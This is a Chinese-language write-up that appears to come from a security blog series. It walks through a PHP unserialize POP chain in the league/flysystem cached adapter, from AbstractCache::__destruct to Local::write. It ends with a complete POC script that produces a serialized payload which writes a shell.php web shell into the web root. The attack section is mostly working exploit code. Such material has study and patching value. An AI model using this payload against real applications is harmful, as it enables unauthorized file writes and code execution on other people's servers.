前言
最后一条链(目前为止),可能以后还会有更多隐蔽的链被师傅挖出。
环境配置
同上文
POP链构造
寻找__destruct方法
与前两条链相同,仍然是AbstractCache.php中的__destruct方法(/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php):
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
在让autosave=false
之后由于抽象类的缘故,仍然需要通过find usage寻找存在save方法的继承类:
这里利用的是Adapter
类:
跟进save方法
public function save()
{
$config = new Config();
$contents = $this->getForStorage();
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
首先执行getForStorage()
方法返回给contents
,跟进该方法。
跟进getForStorage方法
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete, $this->expire]);
}
执行cleanContents()
方法,传入的参数是cache,将结果返回给参数cleaned
,跟进该方法。
跟进cleanContents方法
由于本类不存在该方法,所以回去抽象父类寻找:
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
仍然是array_flip
和array_intersect_key
两个处理数组的熟悉操作,详细作用见第二条链的分析。
我们只需要传入$this->cache一个数组原样返回给cleaned
,然后通过json_encode
方法得到json格式数据,其中内容就包含了我们要写入的shell内容。
回到save方法
执行getForStorage()
方法返回给contents
之后,进行if判断,先看看if else判断对应的两个方法update
和write
哪一个可以被我们利用。
因此要先寻找既包含hash
方法又包含update
或write
的类,发现Local类(/vendor/league/flysystem/src/Adapter/Local.php)可以满足。
所以必须让$this->adapter为Local类。
观察可以知道write
方法有file_put_contents
操作,因此考虑可以利用它来写入shell。
那么就要先让if判断为false才可以执行write
方法
跟进has方法
public function has($path)
{
$location = $this->applyPathPrefix($path);
return file_exists($location);
}
首先执行applyPathPrefix
后返回给location
,跟进该方法。
跟进applyPathPrefix方法
由于该类不存在该方法,所以要去Local
的父类AbstractAdapter
中寻找:
public function applyPathPrefix($path)
{
return $this->getPathPrefix() . ltrim($path, '\\/');
}
跟进getPathPrefix方法
public function getPathPrefix()
{
return $this->pathPrefix;
}
可以控制该父类的pathPrefix
,然后ltrim
函数去除file
左侧的/和\,于是我们可以直接传入一个文件名,然后控制pathPrefix
为路径部分。
回到has方法,返回的是file_exists函数结果,我们只需要保证传入的文件名不存在即可,这很容易。
此时即可通过if判断执行write
方法
跟进write方法
public function write($path, $contents, Config $config)
{
$location = $this->applyPathPrefix($path);
$this->ensureDirectory(dirname($location));
if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
return false;
}
······
}
$location
即我们刚才分析的$this->file传入applyPathPrefix处理后的文件名,然后$contents
即前面通过json_encode处理后带有一句话的json数据,到此链终点,我们即可成功写入文件。
分析一下涉及到的类:
1、抽象类AbstractCache
及其子类Adapter
2、Local
类及其父类AbstractAdapter
POP预览流程
借用Somnus师傅的图:
POC代码
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["shell"=>"<?php phpinfo();?>"];
}
}
namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Cached\Storage\AbstractCache;
class Adapter extends AbstractCache
{
protected $file;
protected $adapter;
public function __construct($adapter="")
{
$this->file = "shell.php";
$this->adapter = $adapter;
}
}
}
namespace League\Flysystem\Adapter{
class Local
{
protected $writeFlags = 0;
//对应file_put_contents的第三个参数
}
}
namespace{
$local = new League\Flysystem\Adapter\Local();
$cache = new League\Flysystem\Cached\Storage\Adapter($local);
echo urlencode(serialize($cache));
}
?>
由于是直接写入,所以shell文件在index.php同目录下,访问同目录下的shell.php即可: